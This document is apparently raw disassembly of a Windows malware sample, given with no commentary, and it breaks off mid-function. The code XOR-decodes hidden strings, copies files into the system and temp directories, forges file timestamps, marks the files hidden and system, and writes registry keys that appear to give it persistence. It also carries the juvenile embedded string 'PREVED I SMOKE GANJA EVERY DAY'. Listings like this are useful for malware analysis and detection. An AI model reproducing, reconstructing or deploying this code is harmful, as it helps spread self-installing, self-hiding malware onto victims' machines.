call sub.KERNEL32.DLL_WriteFile
call fcn.004010b2
mov byte [esp + 0x1b], al
test eax, eax
jne 0x40475e
mov byte [esp + 0x1b], 0x66
lea eax, [ebp + 0x64]
call fcn.00401000
mov byte [ebp + eax], 0
mov edi, eax
mov esi, eax
mov edx, dword [esp + 0x14]
lea eax, [eax + ebp]
cmp esi, eax
jae 0x40478a
movzx eax, byte [esp + 0x1b]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
lea eax, [edi + ebp]
jmp 0x404776
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
call sub.KERNEL32.DLL_lstrlenA
lea esi, [ebx + eax + 5]
add ebx, 0x64
cmp esi, ebx
jae 0x4047b5
call fcn.004010b2
mov byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
cmp esi, eax
jmp 0x4047a3
mov dword [edi + ebp + 1], ebp
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
lea eax, [ebx + 5]
mov esi, ebx
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebx + 0x64]
cmp esi, eax
jae 0x4047e4
movzx eax, byte [esp + 0x1b]
xor byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
jmp 0x4047d2
push 0
lea eax, [ebp + 0x64]
lea edx, [esp + 0x9c]
push edx
push eax
push edi
push dword [esp + 0xac]
call sub.KERNEL32.DLL_WriteFile
mov eax, edi
call fcn.00401029
cmp dword [esp + 0xc], 0
je 0x404831
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0xa8]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea ebx, [esp + 0x124c]
push ebx
call sub.KERNEL32.DLL_CreateFileA
push 0x40a62b
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegDeleteValueA
mov eax, dword [esp + 0x94]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a62b
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x28], 1
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
mov dword [esp + 0x74], 0x10
lea eax, [esp + 0x74]
push eax
lea ebx, [esp + 0x1e8]
push ebx
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
je 0x4048d0
cmp byte [esp + 0x1e4], 0
jne 0x4048e4
push str.PREVED__I_SMOKE_GANJA_EVERY_DAY_
lea eax, [esp + 0x1b8]
push eax
call sub.KERNEL32.DLL_lstrcpyA
jmp 0x404914
push ebx
lea eax, [esp + 0x1b8]
push eax
call sub.KERNEL32.DLL_lstrcpyA
jmp 0x404902
lea eax, [esp + 0x1e4]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcatA
lea ebx, [esp + 0x1b4]
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 0xf
jle 0x4048f4
movsx eax, byte [esp + 0x1c3]
push eax
movsx eax, byte [esp + 0x1c6]
push eax
movsx eax, byte [esp + 0x1c9]
push eax
movsx eax, byte [esp + 0x1cc]
push eax
movsx eax, byte [esp + 0x1cf]
push eax
movsx eax, byte [esp + 0x1d2]
push eax
movsx eax, byte [esp + 0x1d5]
push eax
movsx eax, byte [esp + 0x1d8]
push eax
movsx eax, byte [esp + 0x1db]
push eax
movsx eax, byte [esp + 0x1de]
push eax
movsx eax, byte [esp + 0x1e1]
push eax
movsx eax, byte [esp + 0x1e4]
push eax
movsx eax, byte [esp + 0x1e7]
push eax
movsx eax, byte [esp + 0x1ea]
push eax
movsx eax, byte [esp + 0x1ed]
push eax
movsx eax, byte [esp + 0x1f0]
push eax
push 0x40a680
push 0x40c280
call sub.USER32.dll_wsprintfA
add esp, 0x48
mov eax, 0x407ac0
cmp eax, 0x407af5
jae 0x4049c8
xor byte [eax], 0xd4
inc eax
jmp 0x4049bb
mov eax, 0x407aa0
cmp eax, 0x407aa8
jae 0x4049da
xor byte [eax], 0xd4
inc eax
jmp 0x4049cd
mov eax, 0x4072a0
cmp eax, 0x407aa0
jae 0x4049ec
xor byte [eax], 0xd4
inc eax
jmp 0x4049df
push 0x40c280
push 0x407ac0
lea ebx, [esp + 0x103c]
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [esp + 0x94]
push eax
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x404c7d
push 0x104
lea ebx, [esp + 0xf28]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x407aa0
push 0x40b041
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
mov eax, 0x407260
cmp eax, 0x407286
jae 0x404a5e
xor byte [eax], 0xd4
inc eax
jmp 0x404a51
push 0x407260
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404a90
push 0x2710
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404a9a
push 0x7d0
call sub.KERNEL32.DLL_Sleep
push pe_nt_image_headers32
lea ebx, [esp + 0xf28]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404c5f
cmp eax, 0xffffffff
je 0x404c5f
push 0
lea edx, [esp + 0x9c]
push edx
push 0x800
push 0x4072a0
push eax
call sub.KERNEL32.DLL_WriteFile
call fcn.004010b2
mov byte [esp + 0x1b], al
test eax, eax
jne 0x404b08
mov byte [esp + 0x1b], 0xc6
lea eax, [ebp + 0x64]
call fcn.00401000
mov byte [ebp + eax], 0
mov edi, eax
mov esi, eax
mov edx, dword [esp + 0x14]
lea eax, [eax + ebp]
cmp esi, eax
jae 0x404b34
movzx eax, byte [esp + 0x1b]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
lea eax, [edi + ebp]
jmp 0x404b20
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
call sub.KERNEL32.DLL_lstrlenA
lea esi, [ebx + eax + 5]
add ebx, 0x64
cmp esi, ebx
jae 0x404b5f
call fcn.004010b2
mov byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
cmp esi, eax
jmp 0x404b4d
mov dword [edi + ebp + 1], ebp
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
lea eax, [ebx + 5]
mov esi, ebx
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [ebx + 0x64]
cmp esi, eax
jae 0x404b8e
movzx eax, byte [esp + 0x1b]
xor byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
jmp 0x404b7c
push 0
lea eax, [ebp + 0x64]
lea edx, [esp + 0x9c]
push edx
push eax
push edi
push dword [esp + 0xac]
call sub.KERNEL32.DLL_WriteFile
mov eax, edi
call fcn.00401029
cmp dword [esp + 0xc], 0
je 0x404bdb
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0xa8]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea ebx, [esp + 0xf3c]
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov eax, dword [esp + 0x94]
call fcn.00401251
mov dword [esp + 0x98], 1
push 4
lea eax, [esp + 0x9c]
push eax
push 4
push 0
push 0x40a61f
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a616
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
mov dword [esp + 0x24], 1
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
lea eax, [esp + 0x1034]
push eax
push 0x80000001
call sub.ADVAPI32.DLL_RegDeleteKeyA
lea eax, [esp + 0x7b4]
call fcn.00403305
mov dword [esp + 0x94], eax
test eax, eax
je 0x404dd4
push 0x40a3d0
push eax
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
lea esi, [esp + 0x7b5]
lea edx, [esp + 0x585]
lea ecx, [esp + 0x9de]
cmp esi, ecx
jae 0x404cd8
movzx eax, byte [esp + 0x7b4]
xor al, byte [esi]
inc esi
mov byte [edx], al
inc edx
jmp 0x404cc4
push 0x40a812
lea eax, [esp + 0x58a]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x404d07
lea eax, [esp + 0x1564]
push eax
lea eax, [esp + 0x6ae]
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x404d24
push pe_nt_image_headers32
lea ebx, [esp + 0x5aa]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push ebx
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x404dd4
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea eax, [esp + 0x5be]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404d07
cmp eax, 0xffffffff
je 0x404d07
push 0
push eax
call sub.KERNEL32.DLL_GetFileSize
mov dword [esp + 0x70], eax
cmp eax, ebp
je 0x404d6e
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404d07
push 0
lea eax, [esp + 0x9c]
push eax
mov eax, ebp
push ebp
call fcn.00401000
push eax
mov esi, eax
push dword [esp + 0xac]
call sub.KERNEL32.DLL_ReadFile
mov ebx, dword [esp + 0x70]
mov edx, esi
mov edi, dword [esp + 0x14]
lea eax, [esi + ebx]
cmp esi, eax
jae 0x404dc8
movzx eax, byte [edi]
movzx ecx, byte [edx]
cmp byte [esp + 0x585], al
je 0x404db2
dec ecx
jmp 0x404db4
test ecx, ecx
je 0x404dbf
mov eax, esi
call fcn.00401029
jmp 0x404d60
inc edx
lea eax, [esi + ebx]
inc edi
cmp edx, eax
jmp 0x404d9e
mov eax, esi
call fcn.00401029
jmp 0x404f64
call fcn.004010b2
test eax, eax
mov dl, al
jne 0x404de1
mov dl, 0x42
mov byte [esp + 0x7b4], dl
call fcn.004010b2
test eax, eax
mov dl, al
jne 0x404df5
mov dl, 0x4d
mov byte [esp + 0x585], dl
push 0x40a812
lea eax, [esp + 0x58a]
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [esp + 0x1564]
push eax
lea eax, [esp + 0x6ae]
push eax
call sub.KERNEL32.DLL_lstrcpyA
mov esi, dword [esp + 0x14]
lea eax, [esi + ebp]
cmp esi, eax
jae 0x404e41
movzx eax, byte [esp + 0x585]
xor byte [esi], al
inc esi
mov eax, dword [esp + 0x14]
add eax, ebp
jmp 0x404e2a
push 0x104
lea ebx, [esp + 0x1458]
push ebx
push 0x40a634
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x404e9b
lea esi, [esp + 0x5a6]
push esi
push 0
push 0x40b043
push ebx
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
je 0x404e9b
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404e9b
inc eax
jne 0x404ef8
lea ebx, [esp + 0x1454]
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
test eax, eax
je 0x404f64
lea esi, [esp + 0x5a6]
push esi
push 0
push 0x40b043
push ebx
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
je 0x404f64
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404f64
inc eax
je 0x404f64
push 0
lea eax, [esp + 0x9c]
push eax
push ebp
push dword [esp + 0x20]
push dword [esp + 0xac]
call sub.KERNEL32.DLL_WriteFile
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea eax, [esp + 0x5be]
push eax
call sub.KERNEL32.DLL_CreateFileA
lea esi, [esp + 0x7b5]
lea edx, [esp + 0x585]
lea ecx, [esp + 0x9de]
cmp esi, ecx
jae 0x404f64
movzx eax, byte [esp + 0x7b4]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
jmp 0x404f50
mov eax, dword [esp + 0x14]
call fcn.00401029
push 0x104
lea ebx, [esp + 0xe18]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push pe_nt_image_headers32
push 0x40a804
push 0x40b041
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x405058
inc eax
je 0x405058
push 0
lea eax, [esp + 0x9c]
push eax
push 0x1400
push 0x408860
push dword [esp + 0xac]
call sub.KERNEL32.DLL_WriteFile
cmp dword [esp + 0xc], 0
je 0x405019
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0xa8]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0x9c]
call sub.KERNEL32.DLL_CloseHandle
mov dword [esp + 0x20], 1
lea ebx, [esp + 0xe14]
push ebx
push 0x40a3b9
call fcn.004034c9
pop edx
test eax, eax
pop ecx
jne 0x405052
push ebx
push 0x40a3ac
call fcn.004034c9
pop edi
pop ebp
push ebx
jmp 0x405133
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x20
jne 0x405077
mov dword [esp + 0x20], 1
lea eax, [esp + 0xe14]
push eax
jmp 0x405133
push 0x104
lea ebx, [esp + 0xe18]
push ebx
push 0x40a634
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
push pe_nt_image_headers32
push 0x40a804
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x4050ce
inc eax
jne 0x404fce
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x20
je 0x405062
push ebx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push pe_nt_image_headers32
push 0x40a804
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x9c], eax
test eax, eax
je 0x405123
inc eax
jne 0x404fce
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x20
je 0x405062
jmp 0x40515b
push 0x40aa66
call fcn.004034c9
pop ebx
pop esi
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea eax, [esp + 0xe2c]
push eax
call sub.KERNEL32.DLL_CreateFileA
push 0x104
lea ebx, [esp + 0xa8]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x40b041
push ebx
call sub.KERNEL32.DLL_lstrcatA
mov eax, ebx
call fcn.004012c2
push 0x104
push ebx
push 0x40a63f
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov eax, ebx
call fcn.004012c2
push 0x104
push ebx
push 0x40a634
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
mov eax, ebx
call fcn.004012c2
mov eax, 0x407220
cmp eax, 0x40724d
jae 0x4051bf
xor byte [eax], 0xd4
inc eax
jmp 0x4051b2
lea edx, [esp + 0x94]
push edx
push 0x20006
push 0
push 0x407220
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x405203
lea eax, [esp + 0x94]
push eax
push 0x20006
push 0
push 0x407220
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x405258
cmp dword [esp + 0x28], 0
jne 0x40523b
mov eax, dword [esp + 0x94]
lea ebx, [esp + 0x1564]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a812
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x40a81c
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [0x40c0d0], 2
jne 0x4054ca
mov eax, 0x4071e0
cmp eax, 0x407214
jae 0x405277
xor byte [eax], 0xd4
inc eax
jmp 0x40526a
mov eax, 0x4071c3
cmp eax, 0x4071cf
jae 0x405289
xor byte [eax], 0xd4
inc eax
jmp 0x40527c
lea esi, [esp + 0x94]
push esi
push 0x4071e0
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x4052cf
push 4
lea eax, [esp + 0x9c]
push eax
push 4
push 0
push 0x4071c3
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, 0x4071a0
cmp eax, 0x4071c2
jae 0x4052e1
xor byte [eax], 0xd4
inc eax
jmp 0x4052d4
mov eax, 0x407177
cmp eax, 0x407188
jae 0x4052f3
xor byte [eax], 0xd4
inc eax
jmp 0x4052e6
mov eax, 0x407160
cmp eax, 0x407176
jae 0x405305
xor byte [eax], 0xd4
inc eax
jmp 0x4052f8
mov eax, 0x40714a
cmp eax, 0x40715f
jae 0x405317
xor byte [eax], 0xd4
inc eax
jmp 0x40530a
mov eax, 0x407135
cmp eax, 0x407149
jae 0x405329
xor byte [eax], 0xd4
inc eax
jmp 0x40531c
push esi
push 0x20006
push 0
push 0x4071a0
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4053b7
push 4
lea ebx, [esp + 0x9c]
push ebx
push 4
push 0
push 0x407177
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push 0x407160
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push 0x40714a
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push 4
push ebx
push 4
push 0
push 0x407135
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, 0x4070c0
cmp eax, 0x407134
jae 0x4053c9
xor byte [eax], 0xd4
inc eax
jmp 0x4053bc
push esi
push 0x2001f
push 0
push 0x4070c0
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4054ca
mov ax, 0x8000
call fcn.00401000
mov dword [esp + 0x70], 0x4000
mov esi, eax
mov eax, 0x407080
mov dword [esp + 0x98], 0x4000
cmp eax, 0x4070a4
jae 0x405418
xor byte [eax], 0xd4
inc eax
jmp 0x40540b
mov dword [esp + 0x30], 0
jmp 0x40545d
cmp dword [esp + 0x6c], 1
jne 0x405446
mov edx, 0x40708d
mov eax, ebx
call fcn.00401311
test eax, eax
je 0x405446
inc dword [esp + 0x30]
mov dword [esp + 0x70], 0x4000
mov dword [esp + 0x98], 0x4000
lea eax, [esp + 0x70]
lea ebx, [esi + 0x4000]
push eax
push ebx
lea eax, [esp + 0x74]
push eax
push 0
lea eax, [esp + 0xa8]
push eax
push esi
push dword [esp + 0x48]
push dword [esp + 0xb0]
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x405422
lea ebx, [esp + 0x1564]
push ebx
push 0x407080
push esi
call sub.USER32.dll_wsprintfA
inc eax
add esp, 0xc
push eax
push esi
push 1
push 0
push ebx
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
mov eax, esi
call fcn.00401029
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
lea edx, [esp + 0x98]
push edx
push 0
push 2
push fcn.00402886
push 0x10000
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, section..data
cmp eax, 0x407060
jae 0x4054ff
xor byte [eax], 0xd4
inc eax
jmp 0x4054f2
mov dword [esp + 0x2c], 0
mov edx, section..data
mov eax, 0x80000002
call fcn.004011cf
lea eax, [esp + 0xd04]
call fcn.004014f6
cmp dword [esp + 0x2c], 9
jle 0x4057c7
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 0
call fcn.004027ea
test eax, eax
jne 0x4057ae
push 0
lea eax, [esp + 0x6c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push 0x40a480
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x4057b7
lea ebp, [esp + 0x60]
push ebp
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
mov dword [esp + 0x5c], 8
lea eax, [esp + 0x5c]
push eax
lea edi, [esp + 0x58]
push edi
lea edx, [esp + 0x58]
push edx
push 0
push 0x40a468
push dword [esp + 0x7c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x4055be
mov edx, edi
mov eax, ebp
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x40568b
mov edx, 0x40c070
mov eax, ebp
call fcn.004014d8
cmp eax, 0x4af
jbe 0x40564b
call fcn.00402646
test eax, eax
jne 0x4057a5
push 1
xor edx, edx
mov eax, 0x40a42e
call fcn.00401c3e
pop ecx
xor esi, esi
test eax, eax
mov ebx, eax
je 0x40560a
push 2
lea edx, [esp + 0x52]
call fcn.00402056
pop edx
cmp eax, 2
jne 0x40560a
mov si, 1
mov eax, ebx
call fcn.004021af
test esi, esi
je 0x405641
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [0x40c070], eax
xor eax, eax
cmp byte [esp + 0x4e], 0x49
mov dword [0x40c074], edx
jne 0x40563a
cmp byte [esp + 0x4f], 0x54
jne 0x40563a
mov al, 1
mov dword [0x40c080], eax
jmp 0x40564b
mov dword [0x40c080], 0
cmp dword [0x40c080], 0
je 0x40568b
push 3
xor edx, edx
mov eax, 0x40a423
push 0
call fcn.0040233a
pop ecx
test eax, eax
pop ebx
je 0x40568b
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], edx
push 8
push ebp
push 0xb
push 0
push 0x40a468
jmp 0x40578a
mov dword [esp + 0x5c], 8
lea eax, [esp + 0x5c]
push eax
push edi
lea edx, [esp + 0x58]
push edx
push 0
push 0x40a45a
push dword [esp + 0x7c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x4056c6
lea edx, [esp + 0x54]
lea eax, [esp + 0x60]
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x40570a
call fcn.00402646
test eax, eax
jne 0x4057a5
push 1
xor edx, edx
mov eax, 0x40a400
push 0
call fcn.0040233a
pop edi
test eax, eax
pop edx
je 0x40570a
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], edx
push 8
push ebp
push 0xb
push 0
push 0x40a45a
jmp 0x40578a
mov dword [esp + 0x5c], 8
lea eax, [esp + 0x5c]
push eax
lea ebx, [esp + 0x48]
push ebx
lea edx, [esp + 0x58]
push edx
push 0
push 0x40a44c
push dword [esp + 0x7c]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x40574d
mov eax, dword [esp + 0x54]
mov edx, dword [esp + 0x58]
add eax, 0x1162f100
adc edx, 0xffffff9b
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], edx
mov edx, ebx
lea eax, [esp + 0x60]
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x4057a5
call fcn.00402646
test eax, eax
jne 0x4057a5
push 3
xor edx, edx
mov eax, 0x40a3de
push 0
call fcn.0040233a
pop ebx
test eax, eax
pop esi
je 0x4057a5
push 8
push ebp
push 0xb
push 0
push 0x40a44c
push dword [esp + 0x7c]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x68]
call sub.ADVAPI32.DLL_RegCloseKey
mov dword [esp], 1
jmp 0x4057bd
push dword [esp + 0x68]
call sub.ADVAPI32.DLL_RegCloseKey
mov dword [esp], 0
jmp 0x4057cb
cmp dword [esp], 0
je 0x4057cb
mov dword [esp + 0x2c], 0
jmp 0x4057cb
inc dword [esp + 0x2c]
mov dword [esp + 0x30], 0x3b
cmp dword [esp + 0x24], 0
je 0x40586b
push 0x21
lea ebx, [esp + 0xf28]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x1038]
push eax
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x40586b
mov eax, dword [esp + 0x94]
call fcn.00401251
mov dword [esp + 0x98], 1
push 4
lea eax, [esp + 0x9c]
push eax
push 4
push 0
push 0x40a61f
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a616
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [esp + 0x28], 0
lea esi, [esp + 0x94]
je 0x4058c0
push 0x21
lea ebx, [esp + 0x1238]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push esi
push 0x408760
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405927
mov eax, dword [esp + 0x94]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a62b
jmp 0x40590f
push esi
push 0x20006
push 0
push 0x407220
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x4058f6
push esi
push 0x20006
push 0
push 0x407220
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x405927
lea ebx, [esp + 0x1564]
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a812
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [esp + 0x20], 0
je 0x405aa9
push 0
lea ebx, [esp + 0x98]
push ebx
push 0x4087b8
push 0xf003f
push 0
push 0
push 0
push 0x40a480
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
je 0x405985
push 0
push ebx
push 0x4087b8
push 0xf003f
push 0
push 0
push 0
push 0x40a480
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x4059b3
push 0x22a
lea eax, [esp + 0x7b8]
push eax
push 3
push 0
push 0x40a3d0
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x21
lea ebx, [esp + 0xe18]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
cmp dword [0x40c0d0], 2
lea esi, [esp + 0x94]
jne 0x405a32
push esi
push 0x40a7a0
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405aa9
mov eax, dword [esp + 0x94]
call fcn.00401251
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0x40a3a4
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push 8
push 0x40a39c
push 1
push 0
push 0x40a39c
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
jmp 0x405a9d
push esi
push 0x40a360
push 0x80000000
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405aa9
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push 5
push 0x40a2b0
push 1
push 0
push 0x40a2b5
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
push esi
push 0x40a2e0
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405aa9
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x21
lea eax, [esp + 0x1568]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0x3e8
call sub.KERNEL32.DLL_Sleep
dec dword [esp + 0x30]
jns 0x4057d3
push 0
lea eax, [esp + 0x44]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40a480
push 0x80000002
